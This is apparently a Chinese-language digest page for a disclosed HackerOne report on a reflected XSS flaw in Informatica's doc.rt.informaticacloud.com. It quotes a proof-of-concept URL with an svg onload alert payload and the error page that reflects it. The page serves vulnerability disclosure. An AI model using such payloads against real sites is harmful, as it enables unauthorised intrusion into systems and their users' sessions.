地图 / [doc.rt.informaticacloud.com] Reflected XSS via Stack Strace

[doc.rt.informaticacloud.com] Reflected XSS via Stack Strace

厂商: Informatica
严重程度: 中危
赏金: —
弱点: 反射型 XSS
研究员: @bigbear_
披露日期: 2022-07-23
资产: —
CVE: —

该报告还没有中文解读。

原文摘录

摘自原文（2637 字符中的一小部分）

`http://doc.rt.informaticacloud.com/infocenter/ActiveVOS/v92/nav/7_1_2_3_2_1<svg/onload=alert(document.domain)>`

原文中的代码

<body><h2>HTTP ERROR 500</h2>
<p>Problem accessing /help/nav/7_1_2_3_2_1%3Csvg/onload=alert(document.domain)%3E. Reason:
<pre>    For input string: "1&lt;svg/onload=alert(document.domain)&gt;"</pre></p><h3>Caused by:</h3><pre>java.lang.NumberFormatException: For input string: …

默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Informatica 所有。

时间线

2017-05-26报告提交
2022-07-23公开披露

阅读 HackerOne 原文 ↗作者 @bigbear_ · 版权归作者与 Informatica 所有

[doc.rt.informaticacloud.com] Reflected XSS via Stack Strace

原文摘录

时间线

同类报告